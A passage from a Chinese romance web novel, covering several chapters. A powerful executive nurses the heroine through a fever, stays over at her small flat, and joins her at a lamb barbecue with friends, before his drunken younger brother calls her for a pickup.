蛛丝马迹都表明,清茉不像是在敷衍浮夸地糊弄日子,也不像可以轻易随便地跟人产生关系换取利益的性格。 清茉叫的出租车驶来,清茉要上前乘车,施友臻再次拉住清茉手腕,对出租车师傅道:“抱歉,这单需要取消一下。” 出租车司机白了一眼他俩,嘴里嘀咕着估计没说什么好词,清茉对于施友臻要跟她一起被人念有些抱歉,晃了晃被施友臻握住的手腕,央求着:“哥,再站五分钟我真能撂地上了,真的难受,让我先回家好不好?那我再把车开走?你不是还在开会嘛,上去开会吧。” 施友臻:“下次身体不舒服不要自己开车。”他拉着清茉的手腕往回走,隔着羽绒服的衣袖,清茉的手腕仍旧细细的一圈,盈盈一握,被施友臻紧紧圈住。他力气大,步子也大,清茉往前小跑了两步才不至于被踉跄拽倒,喘着喊道:“哥,哥,哥,你慢点……” 施友臻回头看了她一眼,放缓了脚步,但是又加快了些,说着:“不是难受嘛,快点回家。” 章宁竟然还没走,章大秘远远转了下车钥匙,迎上来问候着:“施总,要换辆车开吗?” 换车要去公司地下车库,施友臻觉得浪费时间,接过钥匙,让清茉上车,说着:“不用,你上去安排一下,中断的会议过两个小时再开,改成线上视频会。” 章大秘:“好,安排好联系您。” 施友臻见清茉还站在原地儿,说着:“上车。”又问了句:“血项化验了吗?” 清茉:“嗯,化验了。”她绕到副驾驶,路过章宁的时候,明显看到章大秘冲她眨了下眼睛,清茉:“……”,她默默想着,人家拿高薪是有原因的,简直就是肚子里的蛔虫,顶级合格npc,任务分发得明明白白。 施友臻一路上开得很快,丝滑超车晃得清茉想吐,车子很快停到清茉家楼下,清茉看施友臻又要停楼门口,赶紧指挥着:“哥,哥,往前开,左拐有停车位,昨儿你停这儿保安说违停要拉走。” 施友臻抬手就去摸清茉脑门,清茉要躲,施友臻用另一只手托住后脑勺,不让她乱动,还很烫,他说着:“你先下车上楼,我去停。” 林清茉试探问着:“要不,您请回?我都拿好药了,上去再吃个退烧的,配着消炎药,很快就能好。” 施友臻言简意赅:“下车。” 清茉:“……” 她先上了楼,也实在是折腾不动,脱掉外套就摔在床上,浑身发冷,一动也不想动,没几分钟就听见密码锁摁动的声响,房门打开,施友臻进门。 施友臻站在卧室门口,问:“药呢?” 清茉有气无力说着:“包里。” 施友臻端着一杯热水,拿着药片过来,清茉爬起来,喝水吞下药片,说着:“快回去吧,哥,万一传染怎么办。” 施友臻:“换好睡衣再睡,能吃下饭吗?” 林清茉摇头。 施友臻让她赶紧换衣服睡觉,轻掩上房门,清茉不知道他会不会走,强打着精神竖起耳朵听外面动静,结果听到施友臻在讲电话:“带家居服、拖鞋、换洗衣物过来,嗯,都拿几套,地址我发给你,路上去山月斋打包些饭菜,清淡好消化的,嗯。明天上午也改成视频会,每人发言限制三分钟以内。” 清茉:“……” 好像哪里很不对,她迷迷糊糊想着,又想,章大秘的工资里是不是还有一份家政钱。 吃了药发出汗,体温降了下来,清茉很快睡着,太疲累之后,睡得格外沉,卧室房门外面发生的事情她也毫无察觉了。 也不知道是几点,她又发汗,燥热间翻身醒来,外面黑漆漆的,她起床想去喝水,出卧室往前走了两步,突然被绊倒,她往前一扑,摔在触感陌生的皮质沙发上。 清茉摁着沙发上的两条硬邦邦长腿,脑袋空空。 被她惊扰的施友臻已经起身打开了台灯,看到清茉跪在沙发尾上发懵,手掌还撑在他小腿上,跟施友臻面面相觑,施友臻穿着看起来就很舒服的深色家居服,问她:“磕到了吗?” 清茉赶紧收起手,茫然看下四周:“……”她都怀疑自己是不是睡迷糊了,天上一天地上一年的那种,她摸了摸手感超细腻的皮沙发,问道:“哥,你什么时候换的沙发?” 施友臻淡定道:“你的太小,我躺不下,不过没扔,放别处仓库了。” 清茉:“不,不是哥,重点不是这个,重点是你干嘛非要在我家过夜?” 施友臻已经探身过来,摸了摸清茉额头,总觉得清茉发烧之后脸又小了一圈,眼睛更显得又大又亮,跟清茉小时候非要塞给他一起玩的那个洋娃娃玩偶神似,施友臻问她:“退烧了?” 清茉:“嗯……”她打量着新沙发,估计也是尽量将就她的小户型,长沙发被施友臻一睡,还是显得逼仄,他怎么不回自己的豪宅睡啊,清茉跳脱着想,以前是少爷您吃苦了,现在是老爷您吃苦了,施家大哥没少跟着她吃苦,罪过,罪过。 清茉精神好很多,脱口而出调侃道:“那我还想要烤箱、蒸箱,能分开洗外衣、内衣、袜子的洗衣机,嗯,扫地机器人。” 施友臻:“好。” 清茉:“不,不必,我开玩笑。”《 》 21、第二十一章 这几天寒潮降温,天气预报说有风雪预警,外面好像已经起了风,黎明前最黑暗的夜色中,北风呼啸刮过,密封有点问题的阳台上有呜呜风声漏进,好在还有一层推拉门,隔住了寒意。 清茉买下这个房子的时候,特意更换了暖气,今天供暖烧得好像也格外热,户外再冷,家里也暖烘烘,她穿着红格子的棉质宽松睡衣,坐在沙发尾,盯着一身休闲家居装扮的施友臻发呆,半睡半醒间,好像俩人都难得是松弛状态。 清茉呆了一会,指尖是陌生的皮质沙发触感,她问着:“哥,你大半夜,哪儿置办的沙发?” 施友臻有自己的一套思维模式和行为逻辑,对于这种深夜换别人家沙发,并自作主张留宿过夜的事情,异常淡定,好像本就该这样,或者早就该这样,他简短回答道:“从家里搬来的。” 台灯是施友臻之前带来的护眼灯,调暗之后很适合现在的时间,都是将醒未醒的样子,施友臻好像也是盯着清茉看了一会才缓神,起身端着清茉的蓝胖子水杯去倒热水,突然来了句:“我看你最该置办恒温饮水机。” 清茉:“……”因为给您添麻烦了是吗?那还真是抱歉。 她突然想到,应该是那位叫章宁的秘书去干的,霸总小说里是这样的没错,霸总负责开金手指变戏法,背后的牛马咬牙切齿隐姓埋名去搞定各种离谱要求。 清茉想象着施友臻在这里列着需求清单的样子,他发什么,章大秘就赶紧准备什么,包括但不限于找工人找车、深夜来回奔波并像蚂蚁搬家一样保持绝对安静。 区别在于普通牛马遇到这种领导突然委托深夜私事,面儿上好好好,内心肯定骂骂咧咧,章大秘不是凡人,估计嘴角上扬乐在其中。 清茉神游地想着,觉得很好笑,也扬了嘴角笑,施友臻看见,问:“笑什么?” 外面风声更大,不知道吹掉了什么重物,哐哐作响,清茉还是坐在沙发尾,发汗退烧之后人轻飘飘的,就着台灯的光,发现沙发旁的地毯也换掉了,之前那块黄麻地毯被换成了很细腻的羊绒材质。 清茉光着脚丫踩上去,小声嘀咕着:“没笑什么。地毯也是你家搬来的?我之前的地毯呢?那块虽然粗,但是跟压指板一样,可以按摩脚底板。” 施友臻并不赞同,但是也不反驳,问了句:“继续睡?饿吗?” 清茉懒懒地靠在沙发中,柔软的皮质触感让她神经松懈,蜷着腿缩在沙发尾上,不想动。抬手摸到施友臻刚才盖着的被子,嗯……他竟然连被子都自带了一床,很轻很软的样子,不知道是蚕丝还是昂贵的绒。 施友臻递给她一杯温水,清茉拥着被子起身,端过蓝胖子水杯,咕咚咕咚牛饮而尽,清明几分,昂着头看站在她面前高大的施友臻。 高大的意思就是,真的很高,也很大。清茉要好好昂头才对视上目光,她看着施友臻,仍旧觉得此情此前很荒诞好笑,又笑了起来, 施友臻再次问她:“笑什么?” 清茉脚丫在新地毯上滑了两下,问着:“笑你到底干嘛三更半夜在我家。” 这确实是个需要回答的问题,施友臻这种对待任何问题都很认真,不会敷衍任何事情的人,早就自我检索并给出了符合行为逻辑的答案,他立刻解答道:“一是因为你生病,需要看护,二是,你这个小房子,聚气。” 施友臻也坐到沙发上,不过是沙发的另一端,俩人一头一尾分开很远地坐着。 清茉琢磨着施友臻的措辞,更觉得好笑,没了睡意,打趣道:“我什么时候生病需要看护过,不过小房子聚气倒是真的,这房子我看了一次就定了要买,气场很舒服对不对,说高端就是风水好。” 清茉喝完水,懒懒地靠在沙发上,施友臻看着她,觉得她声称“生病不需要看护”是个谎言,小时候但凡有不舒服,没少哭闹,逼得老老小小全部围着她团团转,有几次为了躲避吃药,甚至偷偷溜进施友臻的卧室,等施友臻回房间,发现清茉蜷着小小的身子,在他床尾睡着了。 眼下的她,已经抽条成高高瘦瘦的成年人,正蜷着腿窝在沙发尾,清茉个子不矮,怎么那么柔软,可以团成小小的一只缩着沙发尾巴有限的空间中,像要打盹的猫咪,施友臻收回目光,听着外面呼啸风声,回忆着当时是怎么处置睡在他床尾的清茉。 施家大哥的用品,都是一个系列的香氛味道,清茉平时洗衣液也爱用松木香调,有几分熟悉和安心,清茉觉得眼下这个情形,或许是可以坦诚布公聊一聊的好氛围,洗掉她最开始快言快语撒下的并不美丽的谎言。 刚想说,施友臻突然问:“父母现在怎么样?好多年没见,还好吗?” 清茉一愣,点头说着:“富有富的过法,穷有穷的过法,都还好。” 一个静谧温暖的凌晨,就这么戛然而止了,清茉有点遗憾地想,友臻哥干嘛突然问这个话题,好讨厌,她不想讲话了。 清茉站起来,说着:“那我再睡会了,哥,你回去吧,哪有孤男寡女凑一块睡沙发的,我还没嫁人呢。” 从同频,到跨频,一下子沟通不上了。施友臻看她起身回卧室,微蹙眉头,觉得不太爽,像被猫咪肉垫小爪子拍了一巴掌,很莫名其妙,不想聊父母的话题吗? 理解,尊重,但是施友臻并没有设置退出选项。 他走进清茉卧室,坐到床边,摸了摸清茉额头,再次确认没有发烧,说了句:“我照顾你,因为你叫我哥。不想提父母的事情,我以后就不提了,生气了吗?” 他原本不擅长共情和安慰别人,但是面对清茉,又好像本能就会。 这个小区,已经有些年头,外面不知道什么金属物件扛不住大风,被哐当吹得砸在地上,惊得清茉一抖,施友臻隔着被子拍了拍她,卧室的黑暗给人倾诉隐秘的安全感,清茉裹在被子里,小声说着:“没生气,他们过得也都不错,各自都重新有了家庭。” 巨额债务压垮了原来的家庭,各自都寻找了更好的出路,被落下的只有清茉而已。 她看起来需要安慰。 施友臻这样想着,手已经摸上了清茉的发顶,轻轻揉了两下,又隔着被子哄孩子似的轻拍,他并不熟练,但是见过安姨这么拍着哄少衡,应该会提供安全感,因为每次哭闹的少衡被拍一会就不哭了。 施友臻说着:“嗯,睡吧,都过去了。”没讲出来的话是,他愿意给予跟补偿,至于为什么,施友臻想,大概是能力足够,还有因为一声一声“哥”唤起来的恻隐之心,她一路走来,好像很辛苦的样子。 冷冽大风在黎明时分停止,外面天空湛蓝,暖阳升起,好像夜里狂躁的北风压根没有来过。清茉睡得很沉很安稳,突发的高烧彻底降下去,再醒来觉得身上舒坦轻快,算是彻底好了。摸手机看了眼时间,心里一点想去上班的打算都没有,准备再窝几天,爱谁收拾烂摊子谁收拾吧。 清茉起床,卧室外面的小小客厅一目了然,置换了的皮沙发,以及坐在阳台旁置物台上看电脑的施友臻。 真是委屈施家大哥,跟咖啡机挤在一个小台面上办公,清茉伸了个懒腰,问着:“哥,你还不回家?” 施友臻对着屏幕说了句:“稍等。”然后摘下了耳机。 清茉:“……”她压低声音问:“哥你是在开视频会吗?” 施友臻当然是在开视频会,本来他视频背景中陌生的小阳台跟绿植就已经让人猜想连篇了,结果开着开着突然有个女性声音问施总“还不回家吗”,高层会议上该听到的都听到了,一个个脸色精彩,八卦之心狂飙。 集团总部会议室组织现场,唯一知情人章宁抬了抬眼镜镜框,作为唯一知情者的自豪感油然而生,嘴角微微上扬,把握着会议节奏,在现场说了句:“各位老总,要不我们也先休息一下。” 清茉悄声问着:“抱歉,我打扰到了吧。”施友臻已经静音:“没关系。” 他走到厨房,说着:“微波炉热一下,米粥,小笼包,还想吃什么吗?也有牛奶,三明治。” 清茉跟在施友臻身后,小小的厨房站着两个人实在拥挤,施友臻转身的时候,清茉就贴到了他胸前,施友臻一顿,清茉也一顿,清茉有些尴尬地退出来,说着:“谢谢哥,我自己热一下,您忙着吧。” 施友臻继续去开会,清茉安安静静坐在餐桌上吃饭,听着施友臻给参会汇报者们简短点评,讲话很严肃的,滴水不透的严谨,布置新工作和思路指导也精准简洁,是很高效的领导方式。 清茉一边看手机一边吃饭,昨天夜里好多未接来电,高居榜首的自然是少衡,他很愤怒地发了好多好多条信息,质问清茉为什么又不接电话。 清茉暂时不敢招惹这祖宗,想着晚上给回个电话,倒是看到六六的信息,才想起来今天原本有个比较重要的约会。 他们大学时期共同的朋友艾米今天出差路过,约好一起去焦叔那里吃烤全羊。 清茉偷偷看了眼施友臻,被刚刚结束会议的施友臻逮了个正着,施友臻起身问:“怎么了?”又补了句:“吃饭不要看手机。” 清茉:“哥,你还不回去?” 施友臻好像真的没什么离开打算的样子,清茉干脆摊牌:“我待会要出去一趟,有朋友过来,在六六那边约了吃烤全羊。” 施友臻很不赞同似的蹙眉,清茉觉得又要被教育,赶紧接话:“开餐馆的焦叔下厨,超好吃,哥要不要一起?” 清茉觉得施友臻肯定不会去这种不生不熟的局,对烤全羊更不会感兴趣,所以才大胆邀请,装装礼貌,结果没想到施家大哥竟然皱着眉头沉默几秒,然后回复道: “好。” 清茉:“……”婉拒更好一点吧哥。《 》 22、第二十二章 清茉跟好朋友艾米大半年没有见过面,艾米跳槽到南方新的出版社工作后,忙得没日没夜,友情爱情全部排后,事业才是艾米最重要的伴侣。这次过来出差,挤出小半天的时间跟清茉还有六六小聚。 艾米来之前跟清茉透过话,想邀约清茉也去南方发展,艾米不管是资金还是人脉都积累得差不多,想自己创业,团队里面需要清茉这样的自己人打理内外事务。 不过艾米的航班早晨延误了几个小时,清茉不着急出门,瞧着双腿交叠老神在在坐在沙发上的施友臻,再次核实问着:“哥,你真要去吗?我觉得你该回家或者去公司上班。” 施友臻有自己的节奏,他放下办公用的平板,抬腕看了眼时间,站起来说着:“今天休息。外面天气不错,我出去跑步。” 清茉:“?” 小区外面确实有处沿河步道,年初市政重新修葺,铺了橡胶跑道,清茉目瞪口呆地看着施友臻从玄关处取了一套运动装。 早晨起来没往玄关看,这会清茉才惊讶地发现,玄关处竟然已经是施友臻的天下了,简易的挂衣区悬挂着施友臻的两套正装,挂衣区下的搁置架整齐叠放着运动服、家居服,再往下的柜底放着几双皮鞋、运动鞋。 清茉:“……”哥你是来度假的吗? 施家大哥向来说一不二,清茉见这架势,已经非常乖巧地闭嘴,并站在玄关恭送,感觉要不是她刚刚退烧,施友臻搞不好能押着她一起跑步健身,瞎想着,突然就联想起昨天夜里摔在沙发上摸到的硬邦邦的腿……施家大哥的肌肉触感很结实,没少锻炼吧。 门一关,清茉赶紧打电话,颇有种送班主任出了门的偷摸感,先打给晓杨,晓杨听说清茉也发烧了,让她别再跑医院,医生说今天观察一天明天就能出院,清茉松口气说着:“我准备再请两天假。” 晓杨干人事工作干得久,劝道:“别休太久,这节骨眼儿上回公司多盯着点儿,你不在跟前,别人不是更容易作妖。” 清茉觉得她说得对,但是并不打算改主意,说着:“我知道,不过工作干到那种弯弯绕子里面,也没什么劲儿了,本来行政就不是前台项目部门,薪资差别那么大,再勾心斗角没完没了,何苦呢,那后天我去接你出院。” 晓杨:“嗯,看你时间,好好休息。” 第二个电话赶紧打给六六,说着:“老六啊,嘱咐你个事儿,我今天临时带一位男士过去,你待会去机场接艾米的时候,一定一定跟她交代好我的人设,模特!模特!把你帮我编的简历发给艾米让她背熟!” 六六:“啊?玩什么呢姐姐?” 清茉又嘱咐了几句,六六嗯嗯嗯应着,结束通话后清茉犹豫着是不是该给少衡回个电,一想,算了。 趁着施友臻跑步的空儿,清茉还去洗了个澡,吹头发时候施友臻进了门,清茉问:“哥,你跑了多少?” 施友臻换好鞋子进屋,说着:“五公里。” 清茉迟疑一下,又问了句:“哥,你要洗澡吗?” 施友臻好像也迟疑了一下,说道:“嗯。” 清茉:“……”她的小小浴室还真是蓬荜生辉,赶紧起身往浴室走,说着:“那您先稍等,我刮刮地面的水,换换气,我刚洗完,浴巾我再找一条新的……放哪儿来着,我记得有……” 施友臻:“不用,我有。” 清茉无语地看着他拎出一个行李包,里面齐齐整整什么都有,这也是章大秘的手笔吗?人才!人才!人才!浴巾毛巾洗发水!内衣内裤沐浴液! 施友臻堂堂融恒集团的当家人,为啥要行头齐全地窝在她几十平米的小房子里!用玄关衣帽架当衣帽间,用一个行李袋当衣柜,还得挤在她小小浴室里洗澡!就算临时搬来了个沙发,但是谁家亿万富豪睡沙发啊?施友臻随手褪下来放在玄关置物架上的手表,妥妥能买好几套这种房子。 清茉在浴室收拾,觉得这个世界终于还是疯狂了。 施友臻也走进来,非常理所当然地动手把清茉的洗护用品往旁边摆放整齐,然后把自己的那套放在另一侧,清茉收起刮水板,站施友臻身旁探出脑袋点评道:“哥,你这样跟咱俩同居了似的。” 说完就后悔。 施友臻回身看她一眼,摸了下清茉头发,说着:“头发吹干。”又淡定补充一句:“这周你先好好休息,下周正式开始监督你学习,每天都有学习任务,万一不过关,熬通宵也要完成。” 清茉:“?” 施友臻将牙膏牙刷也摆放整齐,说着:“我每天下班过来检查,万一需要通宵,省得来回折腾麻烦,我的睡眠时间很宝贵。” 清茉:“?”不是,哥您宝贵的睡眠时间应该在豪宅度过而不是委屈在沙发上。 她可能要比这个世界更先一步疯掉,怎么还有监督检查这一环?也要搞绩效吗施总? 六六在机场接到艾米后,清茉跟施友臻也下楼出发,清茉之前刮蹭的那辆车已经不见踪影,停车位上换了一辆高大越野,旁边还停着辆白色的小巧跑车,施友臻上车,从中控取了钥匙递给清茉,说着:“开这辆。” 清茉这次没客气,接过跑车钥匙,但是嘟囔了句:“由奢入俭难。” 施友臻启动车子倒车拐弯,很随意似的说了句:“你跟我,不用由奢入俭。” 清茉默默攥紧钥匙,看着车窗外没吭声。 烤羊炉子支在焦叔餐厅二层大露台上,夏天一般就直接在户外,冬天单独支了个玻璃屋,清茉跟六六前后脚到,艾米拎着大包小包的礼物进店,看到清茉就直直冲过来,在清茉脸颊上狠狠亲了一口,留下了明显的口红印,艾米开心拥抱着清茉,说着: “茉茉我好想你!你能不能立刻马上跟我一起走,陪我南下打江山!” 清茉笑着回抱她,说着:“好久不见啊亲爱的艾米。” 俩人很热烈地拥抱完,各自才发现对方身后的陌生男士,艾米拉过身后的年轻男孩介绍道:“亲爱的们,介绍一下,这位是我的助理弟弟安迪,男大刚毕业哟。茉茉,你这位是?” 施友臻从旁边抽出一张餐巾纸,递给清茉,清茉没明白过来什么意思,没接,施友臻直接上手擦了擦清茉脸颊上的口红印。 艾米:“……”她抱了胳膊,问:“茉茉,这谁啊?” 清茉侧脸从施友臻手里挣脱出来,赔笑道:“是我哥。” 六六:“……” 六六疯狂朝艾米使眼色,焦叔看他们几个女孩戏太多,插话进来说着:“走走走,上露台嗨皮,慢慢聊。” 但是施友臻还没有进行完他的社交礼仪,对艾米打招呼道:“您好,我是施友臻,幸会。” 施友臻今天好歹没穿正式西服套装,但就算休闲款式的西装再加上他上位已久的气场,还是让艾米被他突然的正式商务礼仪搞得一愣,也规规矩矩道:“噢……您好,我是艾米。” 清茉忍笑。 三位女士走在最后面,六六用胳膊肘捅艾米,咬牙切齿小声问着:“男大是什么意思?你找的弟弟比你小几岁?十岁有没有?茉茉,她这嫩草吃得是不是有点太过分了?艾米你玩很疯吗?” 艾米乐:“你不懂弟弟的好,我跟你讲,那可太神仙了,我可后悔没早点找弟弟了,□□我跟你讲。” 六六:“所以给我也找一个!” 艾米:“你那么多模特弟弟还用得着我介绍?茉茉你老实交代,这位什么情况?” 清茉觉得尺度要变大,赶紧拉回来,说着:“都给我纯良点,真是我哥,长兄如父,活爹!” 艾米啧啧两声,总结道:“哦,看不出来你爱玩daddy款,那我就是mommy哦!咱俩果然还是绝配。” 清茉开了一瓶水,本来正边聊天边往上爬楼梯,到楼梯口正喝水,听到艾米daddy、mommy的论调,一口水直接呛住,扶着墙咳咳咳。 施友臻望了过来,清茉看了过去,眼神交汇,清茉咳得更厉害。 焦叔的烤羊已经散发出非常浓郁的焦香味,清茉站在烤炉旁边,见到施友臻已经戴上了手套,清茉小声问:“哥,你干得来这个?” 施友臻用刀片下一块烤得焦脆的肉,递到清茉嘴边,清茉凑过去脑袋,张嘴吃下,竖起大拇哥。施友臻看她一看,好像得了什么乐趣,又片了一小块,递到清茉嘴边,清茉昂着小脸接肉,用牙齿咬住,呼呼气,唇红齿白咬住肉,很享受地开心吃。 施友臻又片了一块,故意往高处提了点距离,清茉站直了,昂着小脸去找肉。 施友臻又片了一块,提得更高,清茉这次都踮起脚来了。 在一旁埋头干活但是用眼角余光围观了全程的焦叔以及那个男大助理弟弟安迪:“……” 艾米跟六六在玻璃房里码好酒水出来,艾米喊着:“怎么吃上独食了!我也要吃。” 施友臻脱下手套,把工具递给男大助理弟弟。 清茉:“焦叔,这次烤得超好吃哎!你刷蜂蜜水了吗?” 焦叔:“……”《 》 23、第二十三章 清茉原本以为施友臻跟这种聚会格格不入,结果发现施友臻的性格似乎也随着岁月更加沉淀。小时候施家大哥遇到不感兴趣的场合,一脸严肃、一言不发,浑身散发莫挨老子的气息,现在则安静地坐在清茉身边,充当陌生聚会中的倾听者。 艾米喜欢聊天,喜欢高谈阔论,她从毕业小白到现在业内资深高管,一路走过纸媒时代和新媒体时代,眼下南方城市有很优惠的创业政策,给予数额巨大的落地奖励资金,艾米基本敲定了创业方向,预备自立门户从事新媒体传播业务。 艾米把自己的构想跟六六和清茉分享,重点问着清茉:“所以这次主要也是想把你挖走……” 六六主意转得快,瞧了眼施友臻脸色,赶紧截住话头,说着:“你挖茉茉干嘛,人家一小模特,还不如挖我呢,我好歹有经营经验!” 艾米无语地翻了个白眼,顺着话说道:“是呢是呢,我新公司当然得需要门面啊,我要让茉茉上我公司封面,做代言人。” 清茉:“……” 没有再发烧的症状,清茉早晨就停了消炎药,她刚开始去端酒杯的时候就被施友臻摁住了手腕,施友臻拿走了冰啤酒,给清茉换了一杯纯纯的苏打水,还是常温的,清茉小声抗议,施友臻言简意赅拒绝:“不行。” 所以现在艾米端起酒杯要干杯,对着施友臻喊话道:“茉茉哥哥,那你得替茉茉多喝!看看我弟弟安迪多敞亮,来,茉茉哥哥咱大大方方的。” 清茉低头扶额,六六也看施友臻脸色,艾米大咧咧一饮而尽亮着杯底,盯着施友臻的酒杯,施友臻没说什么,跟艾米碰杯,一饮而尽,女孩们(包括清茉)哇哦哇哦地起哄,清茉有种看了了不得热闹的感觉,桌子底下用膝盖碰了碰施友臻的腿。 施友臻侧脸看向清茉,清茉眼睛亮亮弯弯地也看着施友臻,又变成了小时候阴谋得逞的小狐狸样。艾米举杯嚷着还要再走一圈,清茉又看乐子似的拿膝盖碰施友臻,但是施友臻突然伸手摁在了清茉的膝盖上,大手将她膝盖包住,隔着布料传递掌心的热意。 哦,对,施友臻不喜欢别人碰他,清茉刚才看热闹,一开心就忘了,清茉赶紧往旁边挪了挪屁股,施友臻收回了手,又侧脸去看突然从他身旁移开的清茉,本来都快贴到他肩膀上了,这会突然保持起距离。 施友臻微微皱了眉头,清茉小声说着:“抱歉,哥。” 施友臻:“……没关系。” 艾米今天很开心,一个劲儿邀请清茉,规划着:“茉茉我都看好房子了,就在s市,我买两套,你一套我一套!你等我公司上市,咱们就换成大别墅!来来来,预祝我上市成功!干杯!” 真正的上市老总施友臻也举杯,清茉忍笑看他,也眼馋清清凉凉的啤酒,央求着:“哥,我就喝一杯行吗?” 施友臻摇头,清茉嘟囔:“真不尽兴!” 施友臻给她续了一杯苏打水,说着:“改天单独带你喝。” 艾米还在咋咋呼呼劝酒,焦叔跟安迪弟弟都有点招架不住,六六帮着焦叔一起对付艾米,艾米指指点点笑着问:“怎么回事?老六你自己说说!”她战斗完焦叔跟六六,又把矛头对准清茉跟施友臻,眯着眼睛打量一番,刚要继续大放厥词,清茉给她刹住,说着: “亲爱的艾米,我建议你还是端着酒杯好好敬一下我哥,然后诚心诚意地请教一下你的创业规划合不合适,我哥……嗯,反正千金难求。” 艾米拍拍手说着:“我就说茉茉哥哥像个老板的样子!都没问呢,哪里高就!我们茉茉的人,肯定错不了的。” 清茉清了清嗓子,问着施友臻:“哥,她就是咋咋呼呼的性子,您别介意,但是给点指导可以吗?她自己打拼,攒点启动资金不容易,别走弯路。” 清茉又对艾米讲着:“你也消停点,谦虚请教一下。” 施友臻还真的点评了艾米的创业规划,因为讲得太专业,把艾米听得一愣又一愣,立马坐直腰板一脸认真地仔细听,末了还问:“茉茉哥哥,您是……同行?” 施友臻:“略有涉及。” 艾米若有所思地看着施友臻,继续把自己的一些困惑和困难讲了出来,施友臻也耐心的一一解答,尤其是投资融资的方面,过于专业,艾米有些都听不懂,酒都顾不上喝了,追着施友臻问,末了还追着问:“茉茉哥哥,我能请您做顾问吗?” 清茉给打住,估计自己都没发现自己的表情有点小得意,说着:“我哥你可聘不起。” 施友臻看向清茉,这种跟朋友在一起的放松环境下,清茉好像没有再那么紧绷,活泼了很多,她以前就很活泼,天天美滋滋笑嘻嘻,好像世上没有任何烦心事,也没有任何苦难,她是天生来享福的,无忧无虑的小公主。 拼酒局变成了正经聊天局,清茉到底是身体还虚,不经意打了个哈欠,施友臻就打住了话头,说着:“今天太晚了,改天再聊,清茉刚好,要早点休息。” 说得很直白,借口都不找,已经准备带清茉起身了,艾米一愣,也不再追着问,起身说着:“哦,好……今天非常感谢,受教了。” 艾米跟六六还要继续再聊会天,他们一起送清茉下楼,三个女生又走在后面,艾米啧啧啧几声,小声说着:“完犊子,我男大鲜肉弟弟一下子不香了,果然智x恋才是最顶的,茉茉好眼光,我又输给你一截,服气,服气。” 清茉笑着锤她:“真是我哥,长兄如父那种!” 艾米:“嗯嗯知道,daddy嘛,我懂我懂。” 焦叔餐厅门口到停车场大概要走三分钟路程,清茉觉得麻烦就没戴帽子围巾,出门攥在手里,施友臻把她拉住,抽出围巾给围上,清茉嘟囔:“就几步……” 施友臻把她帽子也板板正正戴好,低头看清茉白净的小脸被厚实的绒线围巾帽子围绕,昂着脸看他,真像她小时候天天抱着的洋娃娃,眼睛黑亮,睫毛密长。 其他人站在旁边围观,艾米突然说了句:“长兄如父,我懂。” 清茉:“……”她好像看到施友臻轻笑了一下。 回程是清茉开车,她上了大越野,摸索了一会,犹豫道:“那我可真开了,等我调一下座椅,嗯……摸不到……” 已经坐在副驾驶的施友臻俯身过来帮清茉调整,高大的身子几乎覆盖住清茉,男人的气息倾泻压面而来,清茉呼吸一滞,一动不敢动,施友臻很快调整好,说着:“开吧,不差这一辆。” 清茉:“……”那还真是谢谢您的信任。 六六艾米她们目送清茉开车离开,艾米看着施友臻的车,又啧啧啧几声,说着:“豪车啊,茉茉他哥很有钱的样子,哪儿蹦出来的哥?茉茉以前也没提过,为什么非得让说茉茉是模特啊?玩的什么q趣?” 六六瞧着车屁股灯说着:“艾米啊,也就是你天高皇帝远,什么都敢说,人家是融恒集团的大佬好吧。” 艾米一愣,问:“对了刚开始见面,茉茉哥哥介绍自己叫什么来着?” 焦叔:“姓施吧。” 艾米掏出手机一顿搜索,哦嚯了一声,叹道:“我真的,玩什么都落下茉茉一大截,人比人,永远气死人。” 六六:“怎么还恨上了?” 艾米:“嫉妒,太嫉妒了。”她沉默片刻,小声说着:“我以为我现在比她好,结果……” 六六没听清楚,问:“什么?” 艾米:“没什么。” 这边清茉开车送施友臻,她很专注地开着车,上了主路问着:“哥,你住哪里,帮我输入个导航。”见施友臻没有动作,清茉强调:“我感冒都好了,不能睡我家沙发了!” 施友臻“嗯”了一声,好像带着几分笑意,他在导航输入了位置,清茉按照导航往施友臻住宅开去,施友臻虽然酒量深,到底也是喝了些,比平时一丝不苟的严肃时候看起来更好相处,清茉跟他聊天也放松很多,问着:“艾米创业,哥,说真的,你给的真实评估是什么?” 施友臻很放松地靠在副驾驶椅背上,说着:“如果作为我的职工,做出这样的创业规划,我会直接辞退,但是因为是你的朋友,我建议你迂回地让她再慎重思考,最好的红利时代已经接近尾声,该收割的都已经收割了,不过她愿意闯一闯也未尝不可,不要太贪心就好。” 清茉:“……那你刚才是故意说得客气呗。” 施友臻:“嗯,所以你没必要跟她去s市创业,朋友之间合伙,尺度很难拿捏。” 清茉赞同施友臻的看法,又问了施友臻集团相关的产业情况,闲聊着就到了施友臻住宅小区,清茉泊车,说着:“哥,我给你停哪儿?” 施友臻:“你开回去吧。” 清茉看他开车门下车,也下车,问着:“这么晚回去小区估计都没车位了,就放你这里呗,我停小区外面要收费的。” 施友臻接话接的很妙:“打车回去也要花钱。” 清茉:“行吧,那我回去了,哥晚安!” 施友臻:“嗯,慢点开,到家说一声,晚安。” 施友臻目送清茉揉了好多次才把车倒出去,嘴角难压笑意,目送她离开后在外面站了一会,总觉得好像忘记了什么。 清茉开着大越野回家,驾驶视野很爽,调出喜欢的音乐,心情放松愉悦。 手机来电显示“施少衡”的时候,清茉想着昨天没接,今天接一个吧,就接了,对面传来施少衡的嘶吼:“茉茉!你在哪?我要见你!就是要见!” 清茉:“……你喝高了?” 然后电话里换了一个人讲话,说着:“您好,是小施总朋友吗?今儿小施总自己过来喝酒,这会应该是醉了,方便过来接一下吗?” 清茉挺无语,把车子停在路边,想着她去接像什么话,应该通知施友臻的,对方把位置报给清茉,清茉输入导航,发现就在旁边,开过去三五分钟,算了,先接上再给施友臻送过去吧。 清茉赶到施少衡喝酒的地方,经理把她领到施少衡的包间,施少衡已经趴在桌子上不知道是睡是醒,清茉用脚尖踢了踢施少衡小腿,喊着:“喂!你是想被大哥打断腿吗?喝成这德性。” 清茉去推了推少衡,少衡迷迷瞪瞪睁开眼睛,愣愣地看着清茉,小声问着:“茉茉?” 清茉还没来得及讲话,施少衡突然猛扑过来,把清茉一下子压倒在沙发上,本来就是很沉的成年男人,喝醉之后更沉,清茉被压得气儿都进不去了,使劲锤施少衡后背,施少衡很紧很紧抱着清茉,脑袋在清茉脖颈间拱来拱去,小孩似的一直嚷着:“茉茉,茉茉。” 清茉对着目瞪口呆的经理喊道:“赶紧来拉开啊!我车在外面,多喊几个人抬车上!” 清茉又恼又气,等经理把施少衡拉开,她冲着施少衡又踢几脚,气道:“我注册代驾得了!专门给你们兄弟俩开车!”《 》 24-30 第24章 第二十四章 清茉开车载着施少衡返回施…… 